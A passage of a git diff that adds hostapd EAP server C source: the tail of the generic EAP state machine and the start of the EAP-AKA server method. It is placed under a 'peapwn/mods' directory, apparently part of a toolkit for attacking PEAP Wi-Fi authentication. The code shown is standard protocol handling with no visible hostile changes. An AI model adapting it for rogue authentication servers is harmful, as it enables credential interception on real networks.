+ else if (sm->eap_if.aaaTimeout) + SM_ENTER(EAP, TIMEOUT_FAILURE2); + break; + case EAP_TIMEOUT_FAILURE2: + break; + case EAP_FAILURE2: + break; + case EAP_SUCCESS2: + break; + } +} + + +static int eap_sm_calculateTimeout(struct eap_sm *sm, int retransCount, + int eapSRTT, int eapRTTVAR, + int methodTimeout) +{ + int rto, i; + + if (methodTimeout) { + /* + * EAP method (either internal or through AAA server, provided + * timeout hint. Use that as-is as a timeout for retransmitting + * the EAP request if no response is received. + */ + wpa_printf(MSG_DEBUG, "EAP: retransmit timeout %d seconds " + "(from EAP method hint)", methodTimeout); + return methodTimeout; + } + + /* + * RFC 3748 recommends algorithms described in RFC 2988 for estimation + * of the retransmission timeout. This should be implemented once + * round-trip time measurements are available. For nowm a simple + * backoff mechanism is used instead if there are no EAP method + * specific hints. + * + * SRTT = smoothed round-trip time + * RTTVAR = round-trip time variation + * RTO = retransmission timeout + */ + + /* + * RFC 2988, 2.1: before RTT measurement, set RTO to 3 seconds for + * initial retransmission and then double the RTO to provide back off + * per 5.5. Limit the maximum RTO to 20 seconds per RFC 3748, 4.3 + * modified RTOmax. + */ + rto = 3; + for (i = 0; i < retransCount; i++) { + rto *= 2; + if (rto >= 20) { + rto = 20; + break; + } + } + + wpa_printf(MSG_DEBUG, "EAP: retransmit timeout %d seconds " + "(from dynamic back off; retransCount=%d)", + rto, retransCount); + + return rto; +} + + +static void eap_sm_parseEapResp(struct eap_sm *sm, const struct wpabuf *resp) +{ + const struct eap_hdr *hdr; + size_t plen; + + /* parse rxResp, respId, respMethod */ + sm->rxResp = FALSE; + sm->respId = -1; + sm->respMethod = EAP_TYPE_NONE; + sm->respVendor = EAP_VENDOR_IETF; + sm->respVendorMethod = EAP_TYPE_NONE; + + if (resp == NULL || wpabuf_len(resp) < sizeof(*hdr)) { + wpa_printf(MSG_DEBUG, "EAP: parseEapResp: invalid resp=%p " + "len=%lu", resp, + resp ? (unsigned long) wpabuf_len(resp) : 0); + return; + } + + hdr = wpabuf_head(resp); + plen = be_to_host16(hdr->length); + if (plen > wpabuf_len(resp)) { + wpa_printf(MSG_DEBUG, "EAP: Ignored truncated EAP-Packet " + "(len=%lu plen=%lu)", + (unsigned long) wpabuf_len(resp), + (unsigned long) plen); + return; + } + + sm->respId = hdr->identifier; + + if (hdr->code == EAP_CODE_RESPONSE) + sm->rxResp = TRUE; + + if (plen > sizeof(*hdr)) { + u8 *pos = (u8 *) (hdr + 1); + sm->respMethod = *pos++; + if (sm->respMethod == EAP_TYPE_EXPANDED) { + if (plen < sizeof(*hdr) + 8) { + wpa_printf(MSG_DEBUG, "EAP: Ignored truncated " + "expanded EAP-Packet (plen=%lu)", + (unsigned long) plen); + return; + } + sm->respVendor = WPA_GET_BE24(pos); + pos += 3; + sm->respVendorMethod = WPA_GET_BE32(pos); + } + } + + wpa_printf(MSG_DEBUG, "EAP: parseEapResp: rxResp=%d respId=%d " + "respMethod=%u respVendor=%u respVendorMethod=%u", + sm->rxResp, sm->respId, sm->respMethod, sm->respVendor, + sm->respVendorMethod); +} + + +static int eap_sm_getId(const struct wpabuf *data) +{ + const struct eap_hdr *hdr; + + if (data == NULL || wpabuf_len(data) < sizeof(*hdr)) + return -1; + + hdr = wpabuf_head(data); + wpa_printf(MSG_DEBUG, "EAP: getId: id=%d", hdr->identifier); + return hdr->identifier; +} + + +static struct wpabuf * eap_sm_buildSuccess(struct eap_sm *sm, u8 id) +{ + struct wpabuf *msg; + struct eap_hdr *resp; + wpa_printf(MSG_DEBUG, "EAP: Building EAP-Success (id=%d)", id); + + msg = wpabuf_alloc(sizeof(*resp)); + if (msg == NULL) + return NULL; + resp = wpabuf_put(msg, sizeof(*resp)); + resp->code = EAP_CODE_SUCCESS; + resp->identifier = id; + resp->length = host_to_be16(sizeof(*resp)); + + return msg; +} + + +static struct wpabuf * eap_sm_buildFailure(struct eap_sm *sm, u8 id) +{ + struct wpabuf *msg; + struct eap_hdr *resp; + wpa_printf(MSG_DEBUG, "EAP: Building EAP-Failure (id=%d)", id); + + msg = wpabuf_alloc(sizeof(*resp)); + if (msg == NULL) + return NULL; + resp = wpabuf_put(msg, sizeof(*resp)); + resp->code = EAP_CODE_FAILURE; + resp->identifier = id; + resp->length = host_to_be16(sizeof(*resp)); + + return msg; +} + + +static int eap_sm_nextId(struct eap_sm *sm, int id) +{ + if (id < 0) { + /* RFC 3748 Ch 4.1: recommended to initialize Identifier with a + * random number */ + id = rand() & 0xff; + if (id != sm->lastId) + return id; + } + return (id + 1) & 0xff; +} + + +/** + * eap_sm_process_nak - Process EAP-Response/Nak + * @sm: Pointer to EAP state machine allocated with eap_server_sm_init() + * @nak_list: Nak list (allowed methods) from the supplicant + * @len: Length of nak_list in bytes + * + * This function is called when EAP-Response/Nak is received from the + * supplicant. This can happen for both phase 1 and phase 2 authentications. + */ +void eap_sm_process_nak(struct eap_sm *sm, const u8 *nak_list, size_t len) +{ + int i; + size_t j; + + if (sm->user == NULL) + return; + + wpa_printf(MSG_MSGDUMP, "EAP: processing NAK (current EAP method " + "index %d)", sm->user_eap_method_index); + + wpa_hexdump(MSG_MSGDUMP, "EAP: configured methods", + (u8 *) sm->user->methods, + EAP_MAX_METHODS * sizeof(sm->user->methods[0])); + wpa_hexdump(MSG_MSGDUMP, "EAP: list of methods supported by the peer", + nak_list, len); + + i = sm->user_eap_method_index; + while (i < EAP_MAX_METHODS && + (sm->user->methods[i].vendor != EAP_VENDOR_IETF || + sm->user->methods[i].method != EAP_TYPE_NONE)) { + if (sm->user->methods[i].vendor != EAP_VENDOR_IETF) + goto not_found; + for (j = 0; j < len; j++) { + if (nak_list[j] == sm->user->methods[i].method) { + break; + } + } + + if (j < len) { + /* found */ + i++; + continue; + } + + not_found: + /* not found - remove from the list */ + if (i + 1 < EAP_MAX_METHODS) { + os_memmove(&sm->user->methods[i], + &sm->user->methods[i + 1], + (EAP_MAX_METHODS - i - 1) * + sizeof(sm->user->methods[0])); + } + sm->user->methods[EAP_MAX_METHODS - 1].vendor = + EAP_VENDOR_IETF; + sm->user->methods[EAP_MAX_METHODS - 1].method = EAP_TYPE_NONE; + } + + wpa_hexdump(MSG_MSGDUMP, "EAP: new list of configured methods", + (u8 *) sm->user->methods, EAP_MAX_METHODS * + sizeof(sm->user->methods[0])); +} + + +static void eap_sm_Policy_update(struct eap_sm *sm, const u8 *nak_list, + size_t len) +{ + if (nak_list == NULL || sm == NULL || sm->user == NULL) + return; + + if (sm->user->phase2) { + wpa_printf(MSG_DEBUG, "EAP: EAP-Nak received after Phase2 user" + " info was selected - reject"); + sm->decision = DECISION_FAILURE; + return; + } + + eap_sm_process_nak(sm, nak_list, len); +} + + +static EapType eap_sm_Policy_getNextMethod(struct eap_sm *sm, int *vendor) +{ + EapType next; + int idx = sm->user_eap_method_index; + + /* In theory, there should be no problems with starting + * re-authentication with something else than EAP-Request/Identity and + * this does indeed work with wpa_supplicant. However, at least Funk + * Supplicant seemed to ignore re-auth if it skipped + * EAP-Request/Identity. + * Re-auth sets currentId == -1, so that can be used here to select + * whether Identity needs to be requested again. */ + if (sm->identity == NULL || sm->currentId == -1) { + *vendor = EAP_VENDOR_IETF; + next = EAP_TYPE_IDENTITY; + sm->update_user = TRUE; + } else if (sm->user && idx < EAP_MAX_METHODS && + (sm->user->methods[idx].vendor != EAP_VENDOR_IETF || + sm->user->methods[idx].method != EAP_TYPE_NONE)) { + *vendor = sm->user->methods[idx].vendor; + next = sm->user->methods[idx].method; + sm->user_eap_method_index++; + } else { + *vendor = EAP_VENDOR_IETF; + next = EAP_TYPE_NONE; + } + wpa_printf(MSG_DEBUG, "EAP: getNextMethod: vendor %d type %d", + *vendor, next); + return next; +} + + +static int eap_sm_Policy_getDecision(struct eap_sm *sm) +{ + if (!sm->eap_server && sm->identity && !sm->start_reauth) { + wpa_printf(MSG_DEBUG, "EAP: getDecision: -> PASSTHROUGH"); + return DECISION_PASSTHROUGH; + } + + if (sm->m && sm->currentMethod != EAP_TYPE_IDENTITY && + sm->m->isSuccess(sm, sm->eap_method_priv)) { + wpa_printf(MSG_DEBUG, "EAP: getDecision: method succeeded -> " + "SUCCESS"); + sm->update_user = TRUE; + return DECISION_SUCCESS; + } + + if (sm->m && sm->m->isDone(sm, sm->eap_method_priv) && + !sm->m->isSuccess(sm, sm->eap_method_priv)) { + wpa_printf(MSG_DEBUG, "EAP: getDecision: method failed -> " + "FAILURE"); + sm->update_user = TRUE; + return DECISION_FAILURE; + } + + if ((sm->user == NULL || sm->update_user) && sm->identity && + !sm->start_reauth) { + /* + * Allow Identity method to be started once to allow identity + * selection hint to be sent from the authentication server, + * but prevent a loop of Identity requests by only allowing + * this to happen once. + */ + int id_req = 0; + if (sm->user && sm->currentMethod == EAP_TYPE_IDENTITY && + sm->user->methods[0].vendor == EAP_VENDOR_IETF && + sm->user->methods[0].method == EAP_TYPE_IDENTITY) + id_req = 1; + if (eap_user_get(sm, sm->identity, sm->identity_len, 0) != 0) { + wpa_printf(MSG_DEBUG, "EAP: getDecision: user not " + "found from database -> FAILURE"); + return DECISION_FAILURE; + } + if (id_req && sm->user && + sm->user->methods[0].vendor == EAP_VENDOR_IETF && + sm->user->methods[0].method == EAP_TYPE_IDENTITY) { + wpa_printf(MSG_DEBUG, "EAP: getDecision: stop " + "identity request loop -> FAILURE"); + sm->update_user = TRUE; + return DECISION_FAILURE; + } + sm->update_user = FALSE; + } + sm->start_reauth = FALSE; + + if (sm->user && sm->user_eap_method_index < EAP_MAX_METHODS && + (sm->user->methods[sm->user_eap_method_index].vendor != + EAP_VENDOR_IETF || + sm->user->methods[sm->user_eap_method_index].method != + EAP_TYPE_NONE)) { + wpa_printf(MSG_DEBUG, "EAP: getDecision: another method " + "available -> CONTINUE"); + return DECISION_CONTINUE; + } + + if (sm->identity == NULL || sm->currentId == -1) { + wpa_printf(MSG_DEBUG, "EAP: getDecision: no identity known " + "yet -> CONTINUE"); + return DECISION_CONTINUE; + } + + wpa_printf(MSG_DEBUG, "EAP: getDecision: no more methods available -> " + "FAILURE"); + return DECISION_FAILURE; +} + + +static Boolean eap_sm_Policy_doPickUp(struct eap_sm *sm, EapType method) +{ + return method == EAP_TYPE_IDENTITY ? TRUE : FALSE; +} + + +/** + * eap_server_sm_step - Step EAP server state machine + * @sm: Pointer to EAP state machine allocated with eap_server_sm_init() + * Returns: 1 if EAP state was changed or 0 if not + * + * This function advances EAP state machine to a new state to match with the + * current variables. This should be called whenever variables used by the EAP + * state machine have changed. + */ +int eap_server_sm_step(struct eap_sm *sm) +{ + int res = 0; + do { + sm->changed = FALSE; + SM_STEP_RUN(EAP); + if (sm->changed) + res = 1; + } while (sm->changed); + return res; +} + + +static void eap_user_free(struct eap_user *user) +{ + if (user == NULL) + return; + os_free(user->password); + user->password = NULL; + os_free(user); +} + + +/** + * eap_server_sm_init - Allocate and initialize EAP server state machine + * @eapol_ctx: Context data to be used with eapol_cb calls + * @eapol_cb: Pointer to EAPOL callback functions + * @conf: EAP configuration + * Returns: Pointer to the allocated EAP state machine or %NULL on failure + * + * This function allocates and initializes an EAP state machine. + */ +struct eap_sm * eap_server_sm_init(void *eapol_ctx, + struct eapol_callbacks *eapol_cb, + struct eap_config *conf) +{ + struct eap_sm *sm; + + sm = os_zalloc(sizeof(*sm)); + if (sm == NULL) + return NULL; + sm->eapol_ctx = eapol_ctx; + sm->eapol_cb = eapol_cb; + sm->MaxRetrans = 5; /* RFC 3748: max 3-5 retransmissions suggested */ + sm->ssl_ctx = conf->ssl_ctx; + sm->msg_ctx = conf->msg_ctx; + sm->eap_sim_db_priv = conf->eap_sim_db_priv; + sm->backend_auth = conf->backend_auth; + sm->eap_server = conf->eap_server; + if (conf->pac_opaque_encr_key) { + sm->pac_opaque_encr_key = os_malloc(16); + if (sm->pac_opaque_encr_key) { + os_memcpy(sm->pac_opaque_encr_key, + conf->pac_opaque_encr_key, 16); + } + } + if (conf->eap_fast_a_id) { + sm->eap_fast_a_id = os_malloc(conf->eap_fast_a_id_len); + if (sm->eap_fast_a_id) { + os_memcpy(sm->eap_fast_a_id, conf->eap_fast_a_id, + conf->eap_fast_a_id_len); + sm->eap_fast_a_id_len = conf->eap_fast_a_id_len; + } + } + if (conf->eap_fast_a_id_info) + sm->eap_fast_a_id_info = os_strdup(conf->eap_fast_a_id_info); + sm->eap_fast_prov = conf->eap_fast_prov; + sm->pac_key_lifetime = conf->pac_key_lifetime; + sm->pac_key_refresh_time = conf->pac_key_refresh_time; + sm->eap_sim_aka_result_ind = conf->eap_sim_aka_result_ind; + sm->tnc = conf->tnc; + sm->wps = conf->wps; + if (conf->assoc_wps_ie) + sm->assoc_wps_ie = wpabuf_dup(conf->assoc_wps_ie); + if (conf->assoc_p2p_ie) + sm->assoc_p2p_ie = wpabuf_dup(conf->assoc_p2p_ie); + if (conf->peer_addr) + os_memcpy(sm->peer_addr, conf->peer_addr, ETH_ALEN); + sm->fragment_size = conf->fragment_size; + sm->pwd_group = conf->pwd_group; + sm->pbc_in_m1 = conf->pbc_in_m1; + sm->server_id = conf->server_id; + sm->server_id_len = conf->server_id_len; + + wpa_printf(MSG_DEBUG, "EAP: Server state machine created"); + + return sm; +} + + +/** + * eap_server_sm_deinit - Deinitialize and free an EAP server state machine + * @sm: Pointer to EAP state machine allocated with eap_server_sm_init() + * + * This function deinitializes EAP state machine and frees all allocated + * resources. + */ +void eap_server_sm_deinit(struct eap_sm *sm) +{ + if (sm == NULL) + return; + wpa_printf(MSG_DEBUG, "EAP: Server state machine removed"); + if (sm->m && sm->eap_method_priv) + sm->m->reset(sm, sm->eap_method_priv); + wpabuf_free(sm->eap_if.eapReqData); + os_free(sm->eap_if.eapKeyData); + wpabuf_free(sm->lastReqData); + wpabuf_free(sm->eap_if.eapRespData); + os_free(sm->identity); + os_free(sm->pac_opaque_encr_key); + os_free(sm->eap_fast_a_id); + os_free(sm->eap_fast_a_id_info); + wpabuf_free(sm->eap_if.aaaEapReqData); + wpabuf_free(sm->eap_if.aaaEapRespData); + os_free(sm->eap_if.aaaEapKeyData); + eap_user_free(sm->user); + wpabuf_free(sm->assoc_wps_ie); + wpabuf_free(sm->assoc_p2p_ie); + os_free(sm); +} + + +/** + * eap_sm_notify_cached - Notify EAP state machine of cached PMK + * @sm: Pointer to EAP state machine allocated with eap_server_sm_init() + * + * This function is called when PMKSA caching is used to skip EAP + * authentication. + */ +void eap_sm_notify_cached(struct eap_sm *sm) +{ + if (sm == NULL) + return; + + sm->EAP_state = EAP_SUCCESS; +} + + +/** + * eap_sm_pending_cb - EAP state machine callback for a pending EAP request + * @sm: Pointer to EAP state machine allocated with eap_server_sm_init() + * + * This function is called when data for a pending EAP-Request is received. + */ +void eap_sm_pending_cb(struct eap_sm *sm) +{ + if (sm == NULL) + return; + wpa_printf(MSG_DEBUG, "EAP: Callback for pending request received"); + if (sm->method_pending == METHOD_PENDING_WAIT) + sm->method_pending = METHOD_PENDING_CONT; +} + + +/** + * eap_sm_method_pending - Query whether EAP method is waiting for pending data + * @sm: Pointer to EAP state machine allocated with eap_server_sm_init() + * Returns: 1 if method is waiting for pending data or 0 if not + */ +int eap_sm_method_pending(struct eap_sm *sm) +{ + if (sm == NULL) + return 0; + return sm->method_pending == METHOD_PENDING_WAIT; +} + + +/** + * eap_get_identity - Get the user identity (from EAP-Response/Identity) + * @sm: Pointer to EAP state machine allocated with eap_server_sm_init() + * @len: Buffer for returning identity length + * Returns: Pointer to the user identity or %NULL if not available + */ +const u8 * eap_get_identity(struct eap_sm *sm, size_t *len) +{ + *len = sm->identity_len; + return sm->identity; +} + + +/** + * eap_get_interface - Get pointer to EAP-EAPOL interface data + * @sm: Pointer to EAP state machine allocated with eap_server_sm_init() + * Returns: Pointer to the EAP-EAPOL interface data + */ +struct eap_eapol_interface * eap_get_interface(struct eap_sm *sm) +{ + return &sm->eap_if; +} + + +/** + * eap_server_clear_identity - Clear EAP identity information + * @sm: Pointer to EAP state machine allocated with eap_server_sm_init() + * + * This function can be used to clear the EAP identity information in the EAP + * server context. This allows the EAP/Identity method to be used again after + * EAPOL-Start or EAPOL-Logoff. + */ +void eap_server_clear_identity(struct eap_sm *sm) +{ + os_free(sm->identity); + sm->identity = NULL; +} diff --git a/peapwn/mods/hostap/src/eap_server/eap_server_aka.c b/peapwn/mods/hostap/src/eap_server/eap_server_aka.c new file mode 100644 index 000000000..46fc45847 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_server_aka.c @@ -0,0 +1,1352 @@ +/* + * hostapd / EAP-AKA (RFC 4187) and EAP-AKA' (RFC 5448) + * Copyright (c) 2005-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/sha256.h" +#include "crypto/crypto.h" +#include "crypto/random.h" +#include "eap_common/eap_sim_common.h" +#include "eap_server/eap_i.h" +#include "eap_server/eap_sim_db.h" + + +struct eap_aka_data { + u8 mk[EAP_SIM_MK_LEN]; + u8 nonce_s[EAP_SIM_NONCE_S_LEN]; + u8 k_aut[EAP_AKA_PRIME_K_AUT_LEN]; + u8 k_encr[EAP_SIM_K_ENCR_LEN]; + u8 k_re[EAP_AKA_PRIME_K_RE_LEN]; /* EAP-AKA' only */ + u8 msk[EAP_SIM_KEYING_DATA_LEN]; + u8 emsk[EAP_EMSK_LEN]; + u8 rand[EAP_AKA_RAND_LEN]; + u8 autn[EAP_AKA_AUTN_LEN]; + u8 ck[EAP_AKA_CK_LEN]; + u8 ik[EAP_AKA_IK_LEN]; + u8 res[EAP_AKA_RES_MAX_LEN]; + size_t res_len; + enum { + IDENTITY, CHALLENGE, REAUTH, NOTIFICATION, SUCCESS, FAILURE + } state; + char *next_pseudonym; + char *next_reauth_id; + u16 counter; + struct eap_sim_reauth *reauth; + int auts_reported; /* whether the current AUTS has been reported to the + * eap_sim_db */ + u16 notification; + int use_result_ind; + + struct wpabuf *id_msgs; + int pending_id; + u8 eap_method; + u8 *network_name; + size_t network_name_len; + u16 kdf; + int identity_round; + char permanent[20]; /* Permanent username */ +}; + + +static void eap_aka_fullauth(struct eap_sm *sm, struct eap_aka_data *data); + + +static const char * eap_aka_state_txt(int state) +{ + switch (state) { + case IDENTITY: + return "IDENTITY"; + case CHALLENGE: + return "CHALLENGE"; + case REAUTH: + return "REAUTH"; + case SUCCESS: + return "SUCCESS"; + case FAILURE: + return "FAILURE"; + case NOTIFICATION: + return "NOTIFICATION"; + default: + return "Unknown?!"; + } +} + + +static void eap_aka_state(struct eap_aka_data *data, int state) +{ + wpa_printf(MSG_DEBUG, "EAP-AKA: %s -> %s", + eap_aka_state_txt(data->state), + eap_aka_state_txt(state)); + data->state = state; +} + + +static int eap_aka_check_identity_reauth(struct eap_sm *sm, + struct eap_aka_data *data, + const char *username) +{ + if (data->eap_method == EAP_TYPE_AKA_PRIME && + username[0] != EAP_AKA_PRIME_REAUTH_ID_PREFIX) + return 0; + if (data->eap_method == EAP_TYPE_AKA && + username[0] != EAP_AKA_REAUTH_ID_PREFIX) + return 0; + + wpa_printf(MSG_DEBUG, "EAP-AKA: Reauth username '%s'", username); + data->reauth = eap_sim_db_get_reauth_entry(sm->eap_sim_db_priv, + username); + if (data->reauth == NULL) { + wpa_printf(MSG_DEBUG, "EAP-AKA: Unknown reauth identity - " + "request full auth identity"); + /* Remain in IDENTITY state for another round */ + return 0; + } + + wpa_printf(MSG_DEBUG, "EAP-AKA: Using fast re-authentication"); + os_strlcpy(data->permanent, data->reauth->permanent, + sizeof(data->permanent)); + data->counter = data->reauth->counter; + if (data->eap_method == EAP_TYPE_AKA_PRIME) { + os_memcpy(data->k_encr, data->reauth->k_encr, + EAP_SIM_K_ENCR_LEN); + os_memcpy(data->k_aut, data->reauth->k_aut, + EAP_AKA_PRIME_K_AUT_LEN); + os_memcpy(data->k_re, data->reauth->k_re, + EAP_AKA_PRIME_K_RE_LEN); + } else { + os_memcpy(data->mk, data->reauth->mk, EAP_SIM_MK_LEN); + } + + eap_aka_state(data, REAUTH); + return 1; +} + + +static void eap_aka_check_identity(struct eap_sm *sm, + struct eap_aka_data *data) +{ + char *username; + + /* Check if we already know the identity from EAP-Response/Identity */ + + username = sim_get_username(sm->identity, sm->identity_len); + if (username == NULL) + return; + + if (eap_aka_check_identity_reauth(sm, data, username) > 0) { + os_free(username); + /* + * Since re-auth username was recognized, skip AKA/Identity + * exchange. + */ + return; + } + + if ((data->eap_method == EAP_TYPE_AKA_PRIME && + username[0] == EAP_AKA_PRIME_PSEUDONYM_PREFIX) || + (data->eap_method == EAP_TYPE_AKA && + username[0] == EAP_AKA_PSEUDONYM_PREFIX)) { + const char *permanent; + wpa_printf(MSG_DEBUG, "EAP-AKA: Pseudonym username '%s'", + username); + permanent = eap_sim_db_get_permanent( + sm->eap_sim_db_priv, username); + if (permanent == NULL) { + os_free(username); + wpa_printf(MSG_DEBUG, "EAP-AKA: Unknown pseudonym " + "identity - request permanent identity"); + /* Remain in IDENTITY state for another round */ + return; + } + os_strlcpy(data->permanent, permanent, + sizeof(data->permanent)); + /* + * Since pseudonym username was recognized, skip AKA/Identity + * exchange. + */ + eap_aka_fullauth(sm, data); + } + + os_free(username); +} + + +static void * eap_aka_init(struct eap_sm *sm) +{ + struct eap_aka_data *data; + + if (sm->eap_sim_db_priv == NULL) { + wpa_printf(MSG_WARNING, "EAP-AKA: eap_sim_db not configured"); + return NULL; + } + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + + data->eap_method = EAP_TYPE_AKA; + + data->state = IDENTITY; + data->pending_id = -1; + eap_aka_check_identity(sm, data); + + return data; +} + + +#ifdef EAP_SERVER_AKA_PRIME +static void * eap_aka_prime_init(struct eap_sm *sm) +{ + struct eap_aka_data *data; + /* TODO: make ANID configurable; see 3GPP TS 24.302 */ + char *network_name = "WLAN"; + + if (sm->eap_sim_db_priv == NULL) { + wpa_printf(MSG_WARNING, "EAP-AKA: eap_sim_db not configured"); + return NULL; + } + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + + data->eap_method = EAP_TYPE_AKA_PRIME; + data->network_name = (u8 *) os_strdup(network_name); + if (data->network_name == NULL) { + os_free(data); + return NULL; + } + + data->network_name_len = os_strlen(network_name); + + data->state = IDENTITY; + data->pending_id = -1; + eap_aka_check_identity(sm, data); + + return data; +} +#endif /* EAP_SERVER_AKA_PRIME */ + + +static void eap_aka_reset(struct eap_sm *sm, void *priv) +{ + struct eap_aka_data *data = priv; + os_free(data->next_pseudonym); + os_free(data->next_reauth_id); + wpabuf_free(data->id_msgs); + os_free(data->network_name); + os_free(data); +} + + +static int eap_aka_add_id_msg(struct eap_aka_data *data, + const struct wpabuf *msg) +{ + if (msg == NULL) + return -1; + + if (data->id_msgs == NULL) { + data->id_msgs = wpabuf_dup(msg); + return data->id_msgs == NULL ? -1 : 0; + } + + if (wpabuf_resize(&data->id_msgs, wpabuf_len(msg)) < 0) + return -1; + wpabuf_put_buf(data->id_msgs, msg); + + return 0; +} + + +static void eap_aka_add_checkcode(struct eap_aka_data *data, + struct eap_sim_msg *msg) +{ + const u8 *addr; + size_t len; + u8 hash[SHA256_MAC_LEN]; + + wpa_printf(MSG_DEBUG, " AT_CHECKCODE"); + + if (data->id_msgs == NULL) { + /* + * No EAP-AKA/Identity packets were exchanged - send empty + * checkcode. + */ + eap_sim_msg_add(msg, EAP_SIM_AT_CHECKCODE, 0, NULL, 0); + return; + } + + /* Checkcode is SHA1 hash over all EAP-AKA/Identity packets. */ + addr = wpabuf_head(data->id_msgs); + len = wpabuf_len(data->id_msgs); + wpa_hexdump(MSG_MSGDUMP, "EAP-AKA: AT_CHECKCODE data", addr, len); + if (data->eap_method == EAP_TYPE_AKA_PRIME) + sha256_vector(1, &addr, &len, hash); + else + sha1_vector(1, &addr, &len, hash); + + eap_sim_msg_add(msg, EAP_SIM_AT_CHECKCODE, 0, hash, + data->eap_method == EAP_TYPE_AKA_PRIME ? + EAP_AKA_PRIME_CHECKCODE_LEN : EAP_AKA_CHECKCODE_LEN); +} + + +static int eap_aka_verify_checkcode(struct eap_aka_data *data, + const u8 *checkcode, size_t checkcode_len) +{ + const u8 *addr; + size_t len; + u8 hash[SHA256_MAC_LEN]; + size_t hash_len; + + if (checkcode == NULL) + return -1; + + if (data->id_msgs == NULL) { + if (checkcode_len != 0) { + wpa_printf(MSG_DEBUG, "EAP-AKA: Checkcode from peer " + "indicates that AKA/Identity messages were " + "used, but they were not"); + return -1; + } + return 0; + } + + hash_len = data->eap_method == EAP_TYPE_AKA_PRIME ? + EAP_AKA_PRIME_CHECKCODE_LEN : EAP_AKA_CHECKCODE_LEN; + + if (checkcode_len != hash_len) { + wpa_printf(MSG_DEBUG, "EAP-AKA: Checkcode from peer indicates " + "that AKA/Identity message were not used, but they " + "were"); + return -1; + } + + /* Checkcode is SHA1 hash over all EAP-AKA/Identity packets. */ + addr = wpabuf_head(data->id_msgs); + len = wpabuf_len(data->id_msgs); + if (data->eap_method == EAP_TYPE_AKA_PRIME) + sha256_vector(1, &addr, &len, hash); + else + sha1_vector(1, &addr, &len, hash); + + if (os_memcmp(hash, checkcode, hash_len) != 0) { + wpa_printf(MSG_DEBUG, "EAP-AKA: Mismatch in AT_CHECKCODE"); + return -1; + } + + return 0; +} + + +static struct wpabuf * eap_aka_build_identity(struct eap_sm *sm, + struct eap_aka_data *data, u8 id) +{ + struct eap_sim_msg *msg; + struct wpabuf *buf; + + wpa_printf(MSG_DEBUG, "EAP-AKA: Generating Identity"); + msg = eap_sim_msg_init(EAP_CODE_REQUEST, id, data->eap_method, + EAP_AKA_SUBTYPE_IDENTITY); + data->identity_round++; + if (data->identity_round == 1) { + /* + * RFC 4187, Chap. 4.1.4 recommends that identity from EAP is + * ignored and the AKA/Identity is used to request the + * identity. + */ + wpa_printf(MSG_DEBUG, " AT_ANY_ID_REQ"); + eap_sim_msg_add(msg, EAP_SIM_AT_ANY_ID_REQ, 0, NULL, 0); + } else if (data->identity_round > 3) { + /* Cannot use more than three rounds of Identity messages */ + eap_sim_msg_free(msg); + return NULL; + } else if (sm->identity && sm->identity_len > 0 && + (sm->identity[0] == EAP_AKA_REAUTH_ID_PREFIX || + sm->identity[0] == EAP_AKA_PRIME_REAUTH_ID_PREFIX)) { + /* Reauth id may have expired - try fullauth */ + wpa_printf(MSG_DEBUG, " AT_FULLAUTH_ID_REQ"); + eap_sim_msg_add(msg, EAP_SIM_AT_FULLAUTH_ID_REQ, 0, NULL, 0); + } else { + wpa_printf(MSG_DEBUG, " AT_PERMANENT_ID_REQ"); + eap_sim_msg_add(msg, EAP_SIM_AT_PERMANENT_ID_REQ, 0, NULL, 0); + } + buf = eap_sim_msg_finish(msg, NULL, NULL, 0); + if (eap_aka_add_id_msg(data, buf) < 0) { + wpabuf_free(buf); + return NULL; + } + data->pending_id = id; + return buf; +} + + +static int eap_aka_build_encr(struct eap_sm *sm, struct eap_aka_data *data, + struct eap_sim_msg *msg, u16 counter, + const u8 *nonce_s) +{ + os_free(data->next_pseudonym); + if (nonce_s == NULL) { + data->next_pseudonym = + eap_sim_db_get_next_pseudonym( + sm->eap_sim_db_priv, + data->eap_method == EAP_TYPE_AKA_PRIME ? + EAP_SIM_DB_AKA_PRIME : EAP_SIM_DB_AKA); + } else { + /* Do not update pseudonym during re-authentication */ + data->next_pseudonym = NULL; + } + os_free(data->next_reauth_id); + if (data->counter <= EAP_AKA_MAX_FAST_REAUTHS) { + data->next_reauth_id = + eap_sim_db_get_next_reauth_id( + sm->eap_sim_db_priv, + data->eap_method == EAP_TYPE_AKA_PRIME ? + EAP_SIM_DB_AKA_PRIME : EAP_SIM_DB_AKA); + } else { + wpa_printf(MSG_DEBUG, "EAP-AKA: Max fast re-authentication " + "count exceeded - force full authentication"); + data->next_reauth_id = NULL; + } + + if (data->next_pseudonym == NULL && data->next_reauth_id == NULL && + counter == 0 && nonce_s == NULL) + return 0; + + wpa_printf(MSG_DEBUG, " AT_IV"); + wpa_printf(MSG_DEBUG, " AT_ENCR_DATA"); + eap_sim_msg_add_encr_start(msg, EAP_SIM_AT_IV, EAP_SIM_AT_ENCR_DATA); + + if (counter > 0) { + wpa_printf(MSG_DEBUG, " *AT_COUNTER (%u)", counter); + eap_sim_msg_add(msg, EAP_SIM_AT_COUNTER, counter, NULL, 0); + } + + if (nonce_s) { + wpa_printf(MSG_DEBUG, " *AT_NONCE_S"); + eap_sim_msg_add(msg, EAP_SIM_AT_NONCE_S, 0, nonce_s, + EAP_SIM_NONCE_S_LEN); + } + + if (data->next_pseudonym) { + wpa_printf(MSG_DEBUG, " *AT_NEXT_PSEUDONYM (%s)", + data->next_pseudonym); + eap_sim_msg_add(msg, EAP_SIM_AT_NEXT_PSEUDONYM, + os_strlen(data->next_pseudonym), + (u8 *) data->next_pseudonym, + os_strlen(data->next_pseudonym)); + } + + if (data->next_reauth_id) { + wpa_printf(MSG_DEBUG, " *AT_NEXT_REAUTH_ID (%s)", + data->next_reauth_id); + eap_sim_msg_add(msg, EAP_SIM_AT_NEXT_REAUTH_ID, + os_strlen(data->next_reauth_id), + (u8 *) data->next_reauth_id, + os_strlen(data->next_reauth_id)); + } + + if (eap_sim_msg_add_encr_end(msg, data->k_encr, EAP_SIM_AT_PADDING)) { + wpa_printf(MSG_WARNING, "EAP-AKA: Failed to encrypt " + "AT_ENCR_DATA"); + return -1; + } + + return 0; +} + + +static struct wpabuf * eap_aka_build_challenge(struct eap_sm *sm, + struct eap_aka_data *data, + u8 id) +{ + struct eap_sim_msg *msg; + + wpa_printf(MSG_DEBUG, "EAP-AKA: Generating Challenge"); + msg = 